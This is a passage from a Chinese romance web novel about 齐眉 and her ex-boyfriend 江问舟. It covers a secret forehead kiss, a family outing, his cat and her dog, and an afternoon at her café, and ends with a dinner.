那个吻轻柔得像羽毛一样落在她的眉心,却又像带着很小很小的钩子,将她心底最隐秘也最强烈的那一份委屈都给钩上心头。 他说她不信任他,她那是不信吗?她是不敢信。 她不敢赌,赌江问舟真的不介意那样的事,赌孙茂芸和江眀琮真的能接受养女变儿媳这件事,她怕自己真的会毁了他。 他就像她这辈子最最重要的一件宝贝,也只剩这么一件,恨不得供起来,一辈子都不要出现任何不测或者裂痕。 哪怕是将它束之高阁,从此只能远观,而不能亵玩。 江问舟在回来路上那一通质问,让她觉得心乱如麻,此刻突如其来的亲吻,更让她不知该如何是好。 谁家好人会偷偷亲前女友啊?! 为什么啊?齐眉百思不得其解,很想睁眼问个究竟。 但这一定会让彼此都很尴尬,说不定还会让江问舟恼羞成怒,她不敢。 只能死死忍着,把这辈子最好的演技和忍功都用上,终于听到房门换上的声音。 “咔哒。” 细细一声,犹如天籁。 随后她猛地睁开眼,先看见一室浓重的黑暗,有些不习惯地闭上眼,随后大口大口地喘气。 耳边好像有喘气声在不停回荡,连同她本就不平静的心情,变得更加杂乱无章。 再度睁开眼,室内的黑暗好像淡了一些,她抬起手,可以很清楚地看见自己手指的轮廓。 半晌,她翻转手腕,将手掌盖到自己脸上。 这近三年来,第一次问自己:“我是不是真的做错了?” 满屋静默的空气不会回答她。 齐眉睁着眼睛一直看着天花板,过了很久,觉得自己都快要睡着了,这才挣扎着爬起来去洗漱。 洗完澡,意识被热气熏蒸得更加迷糊,也就再也想不明白自己和江问舟之间的关系了。 最后还是放弃了思考,用被子把自己从头到脚裹起来,决定睡醒再说。 或者就当自己刚才从来没醒过,反正江问舟一定是以为她睡着了不知道,才会亲那一下的。 所以她也应该不知道这事,完全可以静观其变。 至于以后会怎么样,应该由以后的自己去烦恼。 经过这样一通自我劝说,总算是迷迷糊糊地睡着了,可梦里却又看见从前的事。 “小小年纪不许早恋,你现在最重要的是学习。” “我不会要有嫂子了吧?谁啊,怎么认识的,你有没有答应人家啊?” “你是不是有喜欢的人了?” “是啊,有一个人我特别喜欢,他是世界上最好的人!” 这些曾经真实出现过的对话,其实都是她对江问舟的试探,因为害怕自己的爱意在说出口前被人捷足先登。 后来真的在一起以后,他们聊到从前,她跟江问舟坦陈过当时的想法,得到的回答是:“我后来知道了,吓了一跳,觉得怎么可能呢,你是我妹妹。” “后来呢?后来怎么又可以了?” “后来想想,我们又没有血缘关系,顶多算是青梅竹马,也没什么不好,所以我等啊等,等你觉得试探够了,跟我表白。” “哇!你好奸诈,故意让我先说的是不是?” “本来就是你先招惹我的,难道不该你先说吗?我可告诉你,你最好能招惹我到底,不准半途而废。” 半途而废…… 齐眉这四个字狠狠砸了一下,猛地一抽,剧烈的疼痛瞬间袭来,她吃痛地使劲一挣。 眼睛随即一睁,醒了。 先是一愣,有些茫然地分不清状况,随后便听见一阵敲门声响起。 “西西,你起来了没有?”孙茂芸在外面喊她。 齐眉反应过来,连忙应了声,说马上就起,等应完从床头拿过手机一看,八点半。 今天说好要同纪叔叔他们一起去喝早茶,这会儿出门都算晚的了。 她爬起来掀开被子要下地,可脚刚踩到地上,就觉得一阵痛意像过电一样从她的小腿向两端迅速扩散。 她惊呼一声,弯腰趴在了腿上。 揉着小腿绷紧脚尖缓了半天才缓过来,匆匆洗漱过后便换衣服下了楼,脸上妆都没化。 “西西下来了,可以出发了。”孙茂芸看见她下楼,扭头跟大家说了句,但随即就有些惊讶,“西西你怎么走路一拐一拐的,扭到脚了?” 所有人的目光都随着她这句话转向齐眉,把她看得有些尴尬。 “没事没事,就是……”齐眉摇摇头,有些讪讪地回答道,“睡觉睡得腿抽筋了。” 大人们有些惊讶:*“怎么睡得好好的会抽筋?做噩梦了?” 齐眉哪敢说自己怎么回事,抿着唇摇摇头。 倒是一直看着她的江问舟突然问了句:“你的钙片有没有按时吃,最近一次微量元素和维生素检查是什么时候,钙的指标多少?” 齐眉还没反应过来,孙茂芸就问怎么回事了。 “这个人在申城的时候也出现过睡着睡着就腿抽筋的情况,去做了检查,有点低钙,维生素D更是直接亮红灯。”江问舟说着冲齐眉的方向抬抬下巴,“不知道现在补成什么样了。” 孙茂芸大惊,转头抓住齐眉的手腕立刻追问:“怎么没听你说过?” “……小、小事嘛……又不会死人的,我、我有在补了。”齐眉讷讷的小声辩解。 “你最好是老实点吃钙片,缺钙还小事,那什么是大事,骨质疏松摔一跤你就知道滋味了。”孙茂芸戳了一下她的头,数落道,“亏你还是学医的,这都不放在心上。” 齐眉被戳得脑袋都垂了下去,抿着唇,看上去有些可怜。 纪达和纪琏父子俩连忙劝架,说孩子知道错就行了,一大早别生气,孙茂芸这才放过她。 “这话就别人说有用哈,我可不敢说,会帮倒忙的。”江眀琮笑眯眯地开了句玩笑。 孙茂芸的拳头立刻就抬起来了,“你还好意思说别人?你们父女俩阿大别说阿二,你今天降压药和控糖药吃了没有?” 江眀琮神色一肃:“报告领导,吃了的。” 说完下一秒就又笑嘻嘻的了,拉着孙茂芸催促道:“赶紧走吧,再去晚一点,就该吃午饭了。” “那有什么关系,又不是午市不做点心生意。”孙茂芸没好气地回怼一句,甩开他往门口走。 这就将齐眉的事轻轻放过了。 她松口气,刚要跟上去,就见到江问舟正看过来,见她发现自己了,就笑笑。 那笑容似乎掺杂着揶揄,加上又想起昨晚的事,齐眉觉得心烦得很,忍不住狠狠瞪了他一眼。 江问舟被瞪得一愣,过了一会儿才回过神来,不由得一阵失笑。 好么,这才爆了她一个无关紧要的料,就把她的脾气给爆了回来。 今天出门还是像昨天那样,齐眉和纪琏坐江问舟的车去,但路上聊的不是容城的风景风俗了,而是纪达的身体。 “叔叔第一次觉得胸闷心悸是什么时候,你还记得吗?” “他什么时候开始觉得有症状的,他自己都不记得了。”纪琏摇摇头,“不过我第一次听我妈说起,是去年元旦了,说我爸跟小姨丈吵了一架,吵完就觉得胸口不舒服,歇了好一会儿才缓过来。” 江问舟嗯了声,问道:“发作的频率怎么样?” “去年到现在大概发作了七八次吧。”纪琏回忆道,“都是歇一会儿就好了。” “发作的时候有没有呼吸困难?咳嗽,咯血之类,有么?” “没有没有,这么严重的症状肯定没有的,不然不可能拖一年多才来治。” 江问舟点点头,转了一下方向盘,继续问:“平时有没有什么基础病?高血压,糖尿病,冠心病,肾病,肝炎这些,都没有吧?” 说完抬头往车内后视镜看了一眼,看见齐眉已经开始照镜子,似乎对这事并不太感兴趣,便无奈地撇撇嘴。 纪琏回答道:“高血压有的,确诊了十一年还是十二年,别的问题没有,他算是他那群同事里面身体很好的了,就受过两次伤,有点高血压。” 齐眉刚从包里翻出来口红,闻言就应了句:“是么。” 纪琏还没回答,江问舟就凉凉地搭了句茬:“难道不是?受伤那是因公,没办法的事,高血压也是因为上了年纪,至少纪叔叔不缺钙。” 齐眉:“……”这人真讨厌!!! 她抿着唇坐到驾驶座后面去,决定对这人眼不见为净。 纪琏被逗得忍俊不禁,笑了一会儿才问江问舟:“我爸这样,要做什么检查么?” “在当地看过么?”江问舟笑着问道。 “看过,家里那边的医生怀疑心脏有问题,什么……什么关闭不全。” 江问舟点点头:“明天到医院来一趟吧,我给你开检查单去做一下超声心动图,等结果出来再看看要不要住院,如果决定手术的话,术前还要做个冠脉造影。” “行,来都来了,肯定听医生的。”纪琏点点头,爽快答应道。 江问舟笑笑,又抬头看一眼后视镜,见齐眉已经在看手机了,便将车速提高起来。 吃早茶的地方是孙茂芸订的,离现在住的地方不远,开车半个小时左右就到了。 据说是附近的居民很喜欢的老牌茶楼,开了二三十年,依旧门庭若市,他们进去的时候可以看到大堂坐满了人,还有不少人在排队等位。 孙茂芸庆幸道:“幸好我提前订了包厢,不然现在我们就只能在外面干等了。” 齐眉惯是嘴甜的,立刻就捧场道:“是呀,还是干妈高瞻远瞩,不然我们就都要饿肚子了。” 江问舟在一旁听见,没忍住,嗤了一声。 话音刚落,齐眉就扭过头来,他立刻一脸的若无其事,神色淡淡。 来得有点晚了,加上大家边喝茶边聊天,时间一下就到了中午,干脆吃过午饭再走。 结账的时候,孙茂芸提议下午去齐眉店里坐坐:“我还没喝过那里的咖啡呢,要不要去尝尝?” 大人们一拍即合,齐眉有些犹豫:“要不……你们先去,干爸把车借我,我回去接一下年年?” “让你哥陪你去嘛。”江眀琮道,“我们一辆车坐五个人有点挤,让舟舟陪你回去还能帮忙提东西。” 齐眉一噎,咬着嘴唇看一眼江问舟。 江问舟看都不看她的,温声对父母道:“路上小心,爸别吃太多甜的。” 江眀琮眼睛一亮:“那就是能吃一点是吧?好好好!” 齐眉就见江问舟一噎,脸色跟吃了那什么似的,忍不住咬着嘴唇幸灾乐祸地哼哼两声。 “……走了。”江问舟撇她一眼,面无表情地朝车边走去。 回去的路上齐眉一会儿看手机,一会儿看窗外,似乎很忙,又似乎有些尴尬。 这几次他们单独的相处,除了尴尬,还是尴尬。 江问舟不由得叹了口气,心里有些无奈地想,他真的好像没办法了。 ————— 中午十二点半,太阳晒得厉害,从车里往外看,都觉得热得慌。 这就是马上五月份的容城,还没到一年中最热的时候,但已见炎夏影子。 齐眉盯着窗外掠过的行道树看,倒退得太快,其实她看着有点发晕,但饶是如此,她也宁愿看着。 想到昨晚发生的事,说是说静观其变,见步走步,但她还是做不到真的当没发生过,和江问舟独处时多少有些别扭。 又不能让他发现自己知道,最好的办法就是不要和他对视,不要离他太近。 否则以他的敏锐和聪明,很快就会发现她的不对劲。 所以她宁可将外面的行道树和路过的建筑盯出花来。 直到听见江问舟突然说话:“对了,有件事,我觉得应该跟你说说。” 嗯?这人突然主动跟她说话了? 齐眉有些惊讶,扭过脸,微微勾着脖子往他那边看,努力装出淡定的语气,问道:“什么事?” 见她没装耳聋,江问舟竟然在心里偷偷松了口气。 但语气依旧淡定平静,甚至有些懒散:“你们本科班以前有个叫练美娜的同学,是吗?” “我们宣传委员,怎么了?”齐眉反问。 江问舟点点头,指尖轻叩两下方向盘:“她男朋友是不是也是你们班的?” 齐眉嗯了声,还点点头,脸又扭过去了一点。 “是我们班团支书,叫廖辉的,你应该也认识?” 江问舟动了动,往座椅里靠了靠,点点头,不卖关子了,“他们分手了,去年十二月份的时候。” 齐眉听了先是哦了声,随即反应过来,惊讶得眼睛都大了,立刻转过身,侧身对着他,惊讶地问道:“真的假的?” “我回单位收拾东西的时候,见到了你的室友姚敏,跟她聊了几句,听她说的。”江问舟语气淡淡地表示,“她还问起你,我说你现在不在临床了,在机场上班,她还问辛不辛苦。” 齐眉一听心下立刻愧疚起来。 读书的时候她们寝室四个人从本科到研究生一直在一起住,当了八年的室友,相处得非常愉快,一点传闻中女生寝室勾心斗角的戏份都没上演。 后面那三年,主要是最后两年,她因为搬到江问舟那儿住,基本不回寝室,大家的关系也还很好,经常聚餐和一起逛街。 姚敏她们还旁敲侧击地提醒她,谈恋爱归谈恋爱,还是先别闹出人命来,否则以后很被动。 那时候她们约好要参加彼此的婚礼,当不当伴娘看缘分,最重要的是一定要去吃席。 可她才刚毕业就背弃了诺言,以一种迫不及待的姿态斩断和所有人的联系,好像那八年完全没有值得她留恋的人和事一样。 但江问舟此时的本意不是讽刺她,或者故意刺激她,顿了几秒就继续道:“她说才毕业也没多久,就感觉大家都变了。” 齐眉嘴唇动了动,忍不住问:“是怎么回事呢?我记得当时美娜和廖辉都没有考研成功,决定先就业,美娜跟着廖辉回了他家长,进了当地的医院,然后被单位送出去委培,廖辉二战考研成功,在陵城大学读公卫专业,俩人看起来……还挺好的?” 至少她读研那三年,从对方的朋友圈动态看到的是这样。 江问舟耸耸肩,回答道:“说是男生继续读博了,有了新的规划,不愿意再回小城市,可是女生和单位之间是有服务期的,男的呢……姚敏说,他应该是有了更好的选择。” 他说,姚敏告诉她,练美娜接手了她们单位医教科主任的职务,工作本来就很忙,又因为分手这件事的影响,整个人暴瘦二十斤,状态看着就不太好。 “不过姚敏也说,大家听说以后都觉得挺好,终于分手了。”江问舟说着有些疑惑,“你们以前……同学之间,是不是女生的人缘更好?觉得那个男生配不上她?” “他们俩在学校的时候还是很登对的。”齐眉实话实说,“但是毕业的时候,美娜跟着他回他老家那个小城市,我们都觉得不值,美娜是地道北方姑娘,廖辉家是在我们省一个有些偏远的地方,离家太远了,语言和生活习惯都不通。” 她说了一个地名,江问舟一听就哦了声:“是远了点,对容城人来说都算很远了。” 更何况对北方人,而且读书还是在申城这样的超一线城市,结果呢,毕业以后为了男朋友去一个小城市,一待就是五六年。 “那时候她要是二战,我感觉也能上。”齐眉叹气道,“所以我们觉得不值啊,不过我们也觉得,人家是从大三就在一起的,感情深厚,放弃事业,要是家庭幸福也不错。” 各有各的好,子非鱼,安知鱼之乐嘛。 江问舟应了声是:“姚敏也说,她们还以为他们今年会结婚,毕竟已经八九年了,也是时候了。” “八九年,都够结完生个孩子再离了。”齐眉低声嘟囔着吐槽,语气有些嫌弃。 说完语气顿了顿,突然有些别扭地问:“姚敏跟你……讲这么多啊?” 真是好熟悉的齐西西式试探的感觉,江问舟一下没绷住,嗤地笑出了声。 齐眉的嘴唇立刻就咬住了,神色有些懊恼。 江问舟叹口气:“当然是我问的,不问清楚怎么告诉你?” 齐眉一愣,半晌才讪讪地哦了声。 车子在前面的路牌处转弯,经过一段被两旁的果树和翠竹掩映的小路,再过了一道桥,就看见通往家门口那条路了。 对面的人家正在施工,到处都是扬尘,江问舟靠着自家墙边停车,解安全带的时候说了句:“哦对,姚敏打算今年摆酒,她说,如果你愿意,到时候请你去吃喜酒。” 齐眉又一愣,刚要说话,就听他继续道:“还有,把我从你的各路黑名单里放出来。” 语气淡淡,像是在说今天吃什么菜。 但又充满了不容拒绝的笃定,告诉她,这是通知。 齐眉嘴唇一抿,想说你让我干什么我就干什么,那我不是很没面子? 可是出口的却是:“……哦。” 应完立刻又抿住唇,嘴角压成一条直线。 我靠!哦什么哦,你可真没出息啊齐眉! 她心里骂骂咧咧,面上却老老实实,解开安全带从车上下来,看见江问舟和人说话,听着正是对面那家邻居。 寒暄了几句才进门,齐眉刚走到门口,就被听到动静跑下楼的年年扑了个满怀。 江问舟看她抱着怀里热情的大狗,腰不停往后向后弯,像是快要支撑不住似的,就叫了声金金。 金金溜溜达达慢悠悠地过来了,他就指指年年,淡淡地发号司令:“去,揍一顿你妹。” 齐眉:“???” 金金那是扑上去就一顿揍啊,矮又怎么样,人家弹跳力巨佳,跳起来就…… 虽然跳起来也够不太到年年的脸,但气势很到位,年年被它吸引,立刻就从齐眉怀里下来了,追着它四处乱跑。 江问舟找到狗绳,又喊了声金金,它就带着年年冲过来,年年被江问舟一把抓住,利索地套上狗绳。 “金金真棒。”他还不忘夸一句已经跑累到开始吐舌头的小猫。 然后带着一猫一狗去喝水,年年一边喝水一边扭头蹭他,一副很喜欢这个人的样子。 也不知道是因为喜欢金金所以爱屋及乌,还是江问舟本身讨他喜欢。 等喝完水,又让它们分别去上厕所,两只也听话地去了。 齐眉目瞪口呆地看着他放猫抓狗,心里有一片哇靠频闪,离谱,这叫什么,牧犬猫? 而且年年怎么这么听他的话?为啥啊:) 嫉妒令人沉默。 齐眉抱着胳膊站在门口,抿着唇一声不吭,直到江问舟一手抓着猫绳狗绳一手提着航空箱过来了,被金金仰着脸咪呜地打了声招呼,才忍不住笑起来。 去店里的路上,车后座的动静就一直没停下来过,两只你拱我一下我揍你一掌闹得不亦乐乎。 但也很单调,齐眉扭着头看了一会儿,发现它们确实不是真的打架,就不再看了,低头看着手机。 工作群里收到新通知,看完惯例回复收到;单位发了新推送,是五一节的出行小贴士,一键转发朋友圈;朋友圈最热闹,休班的同事有的在逛街出游,有的在家赏花喝茶,有的在忙自己的副业说做都做不完…… 等她看完手机,回过神才发现,车厢里不知道什么时候开始变得很安静,之前热闹的动静仿佛根本不存在一样。 江问舟在专心开车,她看他一眼,又扭头去看后座,看见金金和年年挤在一起,头靠头地睡着了,一黄一白的颜色看起来还挺配。 齐眉侧身靠在座椅上扭头往回看,看了好半晌,忍不住低声说了句:“它们居然能玩得来。” 她还以为猫狗会不和呢。 “金金原来的猫舍养有一只金毛,主理人说就是特地负责给小猫做社会化训练的。”江问舟语气淡淡,又充满骄傲地解释,“它的社会化非常好,特别聪明,粘人,不怕狗,对其他小猫非常有领导能力,我回来之前,主理人得知要搬家,还特地上门看过它,说已经有点后悔把它卖了。” 难怪那么能听懂人话,还把年年支使得团团转。 齐眉忍不住咋舌:“原来真的是牧犬猫啊。” 江问舟一噎,这都什么破称呼。 “那……金金的身价……”齐眉有些小心地打听,“不低吧?” 品相优秀,性格还好,怎么看都不像便宜小猫。 “五万,很划算。”江问舟爽快地回答道,语气还是那样平静淡然,好像五万块不过一笔小钱。 齐眉倒吸一口凉气:“……这、这么贵啊?” 知道不可能便宜,但也没想到会那么贵啊,差不多是她半年的工资了,税前。 江问舟哼了声,声音突然就有些不高兴似的,“哪里贵了,人家一直都是这个身价。” 谁让只有金金才完美符合她曾经说过的“黄金大面包”的要求?美丽时常和价值呈正相关,要便宜,她怎么不喜欢狸花或者大橘,那不可爱吗? 齐眉见他不高兴,以为他是误会了自己的意思,连忙解释:“我没有说它不值这个身价的意思……” 话说到一半又转头,看着窝在一起的两个小姐妹,话音一转:“年年该洗澡了。” 正好停下来等红灯,江问舟闻言也忍不住回头去看,看见大白团子正好睁开眼,嘴巴一咧就笑起来,忍不住也跟着嘴角一翘。 “看起来还行,不脏。”他温声接过齐眉的话。 齐眉忍不住抬眼看向他,这时才发现他们离得很近,近到能数清楚他每一根睫毛。 她差点就要抬手,想像以前那样碰碰他的睫毛,她捂住他眼睛的话,睫毛会在她手心里扫出一阵淡淡的痒意。 但就在她的手抬起的前一秒,年年突然坐了起来,大脑袋往前面一伸,就要加入两个大人,金金被它不小心踩了一脚,也醒了,爬起来抖抖毛。 她立刻就回过神来,暗自庆幸自己没来得及做什么。 恰好绿灯,江问舟回过头去继续开车,车子通过这个路口后在下一个路口左转,窗外经过的建筑越来越熟悉,很快就看到思齐路的路标指示牌。 下车以后江问舟负责牵着年年,齐眉把金金抱在怀里,躲着太阳一溜小跑着进店门。 推门就听见任清葭说话的声音:“欢迎光临12号餐车与酒廊。” 话音刚落,随即就变成:“哟,西西你来啦?哎呀,好漂亮的猫猫,哪儿来的?” “……舟哥的。”齐眉眨眨眼回答道。 江问舟眨了一下眼。 她把金金转手还给江问舟,弯腰把年年的绳子解了,抬头找了一圈,看见孙茂芸他们坐在昨晚坐过的地方,江眀琮和纪达在下棋,另外两个端着饮料在一旁观战。 便转头问江问舟:“你喝什么?” 江问舟抬头看菜单,问道:“咖啡橙子海是什么?橙C美式?” “不一样哦。”任清葭笑眯眯地解释,“这款是橙汁加咖啡奶盖,温和香甜很多的。” “那就这个吧。”他点点头,道了声谢,然后转头看向齐眉,“年年要不要带过去妈那边?” 齐眉就把年年交给他,自己进了吧台后面。 江问舟领着猫狗往大人们那边走时,听到齐眉问:“橙汁呢?” 哦,他的那杯是她给做的,还行吧。 第20章 第二十章(二合一)听说老大你的小名…… 橙汁注入加了大块方冰的杯子里,打发的淡奶油和浓缩咖啡混合成的咖啡奶盖浇上去,恰好是杯子的四分之一到三分之一之间。 最后放上一块香橙片做装饰,一杯非常好看的咖啡橙子海就做好了。 齐眉亲自给江问舟送过去,从吧台后面绕出来的时候,任清葭还问她:“你要喝什么呀?” “冰拿铁。”她头也不回地道。 江问舟听见声音,抬头朝吧台方向望过去,正好见她端着托盘过来。 她端着胡桃木托盘的手指修长白皙,低垂的眼睫和微翘的嘴角在日光里看上去格外温柔。 她今天穿了一套极其普通黑白条纹衬衫配中长款藏青色裙子,头发也简单的在脑后扎成低马尾,一身简单素净得厉害,全靠一张脸撑着。 唯一算得上是装饰的,是腰上一根棕色的腰带,可腰带也普通得很,没有一丝一毫多余或者亮眼的的装饰,只是单纯勾勒出了她纤细的腰线。 可这本来就是她的优点。 再看一眼吧台,任清葭穿的是墨绿色的吊带裙和白色罩衫,头发盘成慵懒的发髻,化着精致艳丽的妆容,江问舟看到齐眉以前有过的样子。 心里再一次出现沉闷的感觉,看着齐眉弯腰将咖啡放到他面前的动作,一句“我记得你也有一件墨绿色的连衣裙”被死死卡在喉咙里,声音怎么都发不出来。 齐眉却没注意他的失态,笑着问孙茂芸:“干妈,你们吃不吃香草烤土豆呀?” 孙茂芸笑眯眯地回答道:“我们吃过了,很好吃呢,不过你哥应该还没吃过。” 说着朝江问舟转头,问道:“舟舟吃不吃?” 江问舟一时没从自己的情绪里回过来神,听到孙茂芸的问题时还愣了一下。 见他不吭声,孙茂芸就调侃说:“在妹妹店里呢,不要不好意思,妈请你呗。” 齐眉一听这话,就立刻抬头,疑惑又好奇地看向江问舟。 不好意思?这人会吗,他什么时候跟她不好意思过? 江问舟被她看得有些讪讪,抬手蹭了蹭鼻尖,点点头嗯了声。 齐眉这才发现他刚才是在走神,抿着唇笑了一下,说了句等几分钟就好,就抱着托盘往回走。 刚走了几步,就听到江问舟喊:“金金,回来。” 她立刻站住回头一看,金金正跟在她的身后,被江问舟叫得回过头去。 然后头又转回来,仰着脸,瞪着圆眼睛好奇地看着她。 齐眉顿时心花怒放,甚至有些得意,弯腰一把抱起它:“你跟我走好不好呀?” 江问舟就这么看着她把自己的猫抱走了,伸手想揉一把狗头,还没碰到呢,就见狗也屁颠屁颠跟过去了。 孙茂芸笑得见牙不见眼,“这下好了,舟舟你是鸡飞蛋打了,猫不是你的咯。” 他听了就笑笑,什么也没说,端起咖啡抿了一口。 咖啡奶盖浓郁香甜,橙汁的味道很纯正,果味很浓,一口下去还发现橙汁里有果肉,口感立刻变得更加丰富了,果香和咖啡香在口中碰撞融合,最适合大口品尝。 等齐眉将香草烤土豆送过来,就见他面前的杯子已经空了,只剩下一块还没融化多少的方冰。 她先是一愣,继而反应过来,忍不住嘟囔了一句:“怎么总喝那么快,咖啡诶……” 江问舟听见了,不太高兴被她吐槽,又不好说什么,于是清清嗓子:“叽里咕噜什么呢?再来一杯,妈请。” 孙茂芸忍俊不禁,点点头:“行,我请。” 齐眉倒是被他这句话噎了一下,过了会儿问他:“巴西柠檬水喝不喝?换个口味。” 咖啡喝太多也不见得是什么好事。 江问舟看她一眼,在她眼里看到不赞同和打商量两种神色,汇合成带着小心的请求。 一时忍不住想叹气,但又忍住了,点点头。 齐眉这才松口气,抱着托盘笑眯眯转身走开了,江问舟看一眼又跟上去的金金,刚拿起叉子要吃烤土豆,就听孙茂芸笑了声。 “看来还是妹妹说话有用,你看我都不说你,为什么呀?因为我知道说了你也不会听。” 江问舟手一顿,目光微微一颤,随即眼睑一垂,否认她的说法:“你都没说,怎么知道说了我不听?” “这样么?那确实是我不对。”孙茂芸一本正经地点点头,“那你把金金留家里陪我和你爸吧。” “不行。”江问舟想也不想,立刻一口拒绝。 孙茂芸当即双手一摊:“呐呐呐,我就说我没说错吧?” 江问舟:“……” 过了不到五分钟,齐眉就把柠檬水给端了过来,不是常喝的透明的柠檬水,而是乳白色的,像益力多。 而且还是一大杯,冰块在杯子里浮动着,闻起来酸酸甜甜的,除了江问舟的,还给孙茂芸和纪琏也端了一杯。 然后对江眀琮和纪达说:“加了很多糖和炼乳,干爸不能吃,纪叔叔陪陪他吧。” “你就说我能喝什么吧。”江眀琮无语地吐槽,“我连柠檬水都不能喝,喝个咖啡,你干妈喝花里胡哨的,我只能喝美式。” 齐眉眨眨眼:“……咱要不……喝茶?店里用的茉莉花茶还不错,我给您和纪叔叔泡一壶?” 江眀琮叹了口气,点点头,齐眉就去泡了壶花茶过来,刚要问江问舟觉得烤土豆味道怎么样,就听店里负责采购的浪哥喊她:“阿眉,快来签一下字。” 她连忙转身,一面问什么事,一面快步往门口走。 江问舟好奇地望过去,才喝了一口饮料,就听孙茂芸吩咐:“要搬东西,舟舟你快去帮忙啊,坐这儿当木头啊!?” 于是什么都还没看到的江问舟就这么一脸茫然地跟了过去,看到齐眉拿着一叠单子在边对账边签字:“椰青是多少箱?二十箱,一箱九个是不是?一百八十个椰青能用多久啊,天热了,一天就用完了。” “看看情况,不够我明天再去订。” “面粉十五袋……□□糖……” 江问舟站在门口,一边听她对账,一边好奇地往路口方向看,看见有人推着摞着高高的箱子的推车正往回走。 等推车到了跟前,他和同样出来帮忙的纪琏连忙上前帮忙搬东西。 齐眉看见他动手,下意识要拦:“舟哥你别去,小心手……” 他的手可是用来做手术的,要是受伤了,耽误了病人的时间,那就是大罪过了。 江问舟却没理会她,只问搬到哪儿。 见拦不住,她只好赶紧给他指了位置:“椰青先放五六箱在吧台那儿,其他的搬上二楼,清葭姐会安排的。” 等江问舟稍后抱着三箱椰青上到二楼,先是闻到空气里漂浮的烘烤的面包香气,接着眼前视线一亮,看见二楼原来宽大的客厅已经被布置成甜品教室,中间的不锈钢操作台上还散乱地放着几样模具。 任清葭先是跟他和纪琏道了声谢,然后指着一旁敞开着门的房间道:“放这里面就行了。” 大概三十多平的储物间被分成了几个区,很多置物架,架子上还贴着红色的标签纸,写着“调酒原料”“咖啡原件”“烘焙材料”之类的字样。 屋里窗帘紧紧拉着,温度也有点低,靠着墙还有好几个大冰柜,不知道为什么,江问舟忽然有点幻视实验室。 按照任清葭的指引,他把椰青放到了靠近门口的地方,和纪琏跟着其他人上下来回好几趟,才把东西都搬了上来。 搬完后下楼,刚下楼梯就被齐眉塞了一卷热毛巾,她还问:“手没事吧?” 一副有些紧张兮兮的模样,江问舟看了就哭笑不得,难得的没有怼她:“没事,搬一点东西而已,不用紧张,我的手不是只能用来做手术的,还要生活。” “说是这么说……”齐眉忍不住嘟囔,“万一受伤了呢?” “那不然呢?”江问舟立刻就不忍了,“吃饭洗澡上厕所,你帮我?” 齐眉:“……” 她蹭蹭鼻尖,有些不好意思地往后退了一步,退到了吧台边上,见其他人都在忍笑,顿时更不好意思了。 忙摆摆手,意思是让他没事赶紧走开,江问舟这才没好气地叹口气,把毛巾还给她。 这边忙完,其实时间也不早了,将近傍晚,一家人开始讨论去哪儿吃饭。 江问舟打开团购网站看了一下附近的店,提议道:“去音乐学院那边吃吧,离得近,西西还要回来上班。” 大家当然没异议,倒是齐眉听说是江问舟提议的,还有些惊讶,忍不住扭头去看他,却只在他脸上看到一片平静。 “那就去吃客家菜吧,音乐学院旁边有一家还不错。”齐眉收回目光,笑着道。 刚把年年和金金留在店里托付给已经来做准备工作的田乐他们,就见到陆阳进门,他是来接任清葭的。 见到江眀琮和孙茂芸,他先是愣了一下,旋即立刻过来打招呼:“叔叔阿姨难得过来一趟,我要是知道,就早点过来了。” “我们是吃了午饭顺路过来坐坐,你江叔的战友过来了,按关系来说,也是西西的舅舅呢。”孙茂芸笑着解释,又给他介绍纪家父子。 接着是江问舟,“这是我们家舟舟,今年刚回容城工作,以后你们多来往,有事就互相帮忙。” 陆阳诶地应了声,跟江问舟握了一下手:“江医生幸会。” 江问舟笑笑:“幸会,西西这两年麻烦你们照顾了。” “哪里哪里,都是自家妹妹,应该的。”陆阳笑着应道,又说要请他们吃饭。 孙茂芸说:“我们长辈在呢,哪儿用得上你一个孩子请客,叫清葭下来,一块儿去得了,择日不如撞日,问问你爸来不来,咱们聚聚餐。” 陆阳笑着应好,当场就给他爸陆近成打电话。 齐眉看着大家忙碌寒暄,一句接一句,自己什么话都插不上,索性住嘴在一旁等着。 只是嘴巴闲下来了,脑*子又开始灵活了,不停地想起江问舟刚才说多谢陆阳他们照顾她时的语气和姿态。 太眼熟了,以前她在各科轮转的时候,江问舟有时候下班早,去接她,见到熟悉的老师,和人家打招呼的时候,总会说上这么一句。 “哟,小江怎么有空来了,接女朋友下班啊?” “是,今天下班早,顺路。她最近表现还可以吧?多亏了您费心指导。” 瞧,多么的家长做派,就算是分手了,还是做得信手拈来。 最后吃饭的队伍又多了三口人,陆近成和纪达是第一次见面,但却发现当年肖骊都和对方提起过自己,也算是一桩缘分,于是聊得颇为开心。 菜单是齐眉负责安排的,孙茂芸还调侃:“迟早都是要你们年轻人当家做主的,提前练练。” 齐眉拿着菜单,翻了两页,忽然抬头看了一眼江问舟的方向。 他坐在她的对面,正和陆阳聊他和任清葭的婚事,“打算国庆节前后吧,主要是要用的首饰还没准备好,清葭总觉得哪儿有点不满意。” “结婚是一辈子的大事,是要慎重点。”江问舟笑着应道。 陆阳大咧咧地回答:“那是,反正现在跟结婚也没什么区别,就一个仪式,想办好点就慢慢准备呗,不差这几天。” 又跟江问舟和纪琏说到时候一定要去吃喜酒。 江问舟笑着应了声好,察觉有人在看自己,立刻便循着视线看回去,见到是齐眉,便冲她挑了一下眉头。 齐眉愣了一下,立刻低头继续看菜单。 其实这顿饭吃什么一点都不重要,大人们只要把酒言欢就好了。 当然,酒是没喝多少的,江问舟盯得非常紧,不停地提醒江眀琮和纪达,你们是病人,不准喝酒不准喝酒! 搞得陆近成也束手束脚,最后干脆让人把酒撤下去了,再看江眀琮和纪达,总觉得两位老哥怪惨的。 吃完饭,大家各回各家,江问舟和齐眉则是回到店里,正好看见吧台那儿有客人在逗金金。 “你们老板哪儿来的这么漂亮的大猫?招财猫啊!” “咪咪,嘬嘬嘬——” 金金坐在吧台上,一脸高冷地看着逗它的人,接着就看见了齐眉和江问舟。 它立刻灵巧地跳下地朝他们跑过去,扑在江问舟腿上要抱。 江问舟抱起它,笑着揉揉它的脑袋,安慰道:“我们只是去吃饭,没有不要你。” 齐眉同客人打完招呼,扭头看着抱着猫哄的江问舟,那柔和的眉眼就这样和记忆里的人一点点重合起来。 直到严丝合缝。 齐眉刚穿好围裙,汪淼就从厨房递了一盘煎好的牛肉出来,“给年年和金金的,无油无盐十分熟,应该可以吃吧?” 齐眉失笑,接过之后道了声谢,转手就递给在吧台对面的桌边坐着的江问舟。 江问舟接过去之后,第一个动作不是叫年年和金金,而是自己先吃了一口。 齐眉:“……”你是嘴馋还是给主子试毒? 